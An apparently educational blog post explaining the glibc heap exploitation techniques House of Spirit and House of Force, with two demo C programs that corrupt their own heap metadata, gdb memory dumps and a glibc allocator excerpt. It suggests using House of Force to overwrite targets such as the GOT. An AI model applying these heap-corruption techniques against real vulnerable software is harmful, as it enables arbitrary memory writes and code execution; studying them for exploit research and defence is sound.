Heap Exploitation: House of Spirit & House of Force

Maria

Introduction

In this post, I will introduce the exploitation techniques on House of Spirit and House of Force. I will use sample codes, which are similar to the sample code given in [1] to demonstrate how memory layout are manipulated in different techniques.

House of Spirit

The key point in House of Spirit is to craft a fake chunk in memory. If the attacker is able to corrupt the pointer that is to be freed, the attacker can therefore insert the craft chunk into fastbin and use this for further exploitation.

//gcc hos.c -o hos -no-pie
#include<stdio.h>
#include<stdlib.h>

int main()
{
	unsigned long *p1 = malloc(0x30);
	unsigned long *p2 = malloc(0x30);
	unsigned long *p3 = malloc(0x30);

	//craft a fake fastbin chunk
	*(p1+1) = 0x41;    
	*(p1+9) = 0x51;

	unsigned char *p = (char*)(p1) + 0x10;

	free(p);

	return 0;
}

To view how chunks are manipulated in memory, we dump the memory layout in each step for explanation.

//memory layout after allocating p1, p2, p3
(gdb) x/40gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000041
0x602010:	0x0000000000000000	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000041
0x602050:	0x0000000000000000	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000041
0x602090:	0x0000000000000000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000020f41

//memory layout after crafting p
(gdb) x/40gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000041
0x602010:	0x0000000000000000	0x0000000000000041
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000041
0x602050:	0x0000000000000000	0x0000000000000051
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000041
0x602090:	0x0000000000000000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000020f41

//chunk status after freeing the craft chunk
0x7ffff7dd3b00 <main_arena>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b10 <main_arena+16>:	0x0000000000000000	0x0000000000602010
0x7ffff7dd3b20 <main_arena+32>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b30 <main_arena+48>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b40 <main_arena+64>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b50 <main_arena+80>:	0x0000000000000000	0x00000000006020c0

According to the memory layout given above, we create a fake chunk at 0x602010 and insert it into the fastbin. One thing to note is that the code at line 13 is necessary. Otherwise, it will trigger security check and ends with abort message.

House of Force

House of Force takes advantage of the following code in _int_malloc for exploitation. If the attacker is able to corrupt size field of top chunk to a negative number. Therefore, function sysmalloc will not be triggered. Instead, new top will be set according to code below.

if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
          remainder_size = size - nb;
          remainder = chunk_at_offset (victim, nb);
          av->top = remainder;
          set_head (victim, nb | PREV_INUSE |
                    (av != &main_arena ? NON_MAIN_ARENA : 0));
          set_head (remainder, remainder_size | PREV_INUSE);

          check_malloced_chunk (av, victim, nb);
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
}

We use the following sample code to give a better understanding on House of Force.

//gcc hof.c -o hof -no-pie
#include<stdio.h>
#include<stdlib.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main()
{
	unsigned long *p1 = malloc(0xf0);
	unsigned long *top = (unsigned long*)( (unsigned char*)p1 + 0xf0);

	//overwrite the size of top chunk
	*(top+1) = -1;

	unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)top;
	malloc(evil_size);

	unsigned long *victim = malloc(0x100);

	printf("The victim pointer: %p\n", victim);

	return 0;
}
// Output:
The victime pointer: 0x601060

In the end of the code above, we will finally get the pointer which points to a string in bss section. We dump the memory layout in each step for explanation.

//After corrupting the top chunk to -1
0x602000:	0x0000000000000000	0x0000000000000101
0x602010:	0x0000000000000000	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000000
0x602090:	0x0000000000000000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0xffffffffffffffff

0x7ffff7dd3b00 <main_arena>:	0x0000000100000000	0x0000000000000000
0x7ffff7dd3b10 <main_arena+16>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b20 <main_arena+32>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b30 <main_arena+48>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b40 <main_arena+64>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b50 <main_arena+80>:	0x0000000000000000	0x0000000000602100

//After allocating the chunk of evil size
0x602000:	0x0000000000000000	0x0000000000000101
0x602010:	0x0000000000000000	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000000
0x602090:	0x0000000000000000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0xffffffffffffef51

0x7ffff7dd3b00 <main_arena>:	0x0000000100000000	0x0000000000000000
0x7ffff7dd3b10 <main_arena+16>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b20 <main_arena+32>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b30 <main_arena+48>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b40 <main_arena+64>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b50 <main_arena+80>:	0x0000000000000000	0x0000000000601050

//After the last allocation 
(gdb) p/x $rax
$1 = 0x601060
(gdb) x/s $rax
0x601060 <bss_var>:	"This is a string that we want to overwrite."

After the allocating the chunk of evil_size we can see that the top chunk pointer in main arena has been set to 0x601060. In the last time of allocation, we get a chunk at 0x601060 where the string is located.
With house of House, attacker can get a chunk located at arbitrary address in memory, e.g. the GOT table.

Conclusion

In this post, we discuss two basic exploitation techniques. But it does not mean they are simple and easy. Keeping the usage and constraint of those techniques in mind is much more important.

Reference

[1] https://github.com/shellphish/how2heap

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.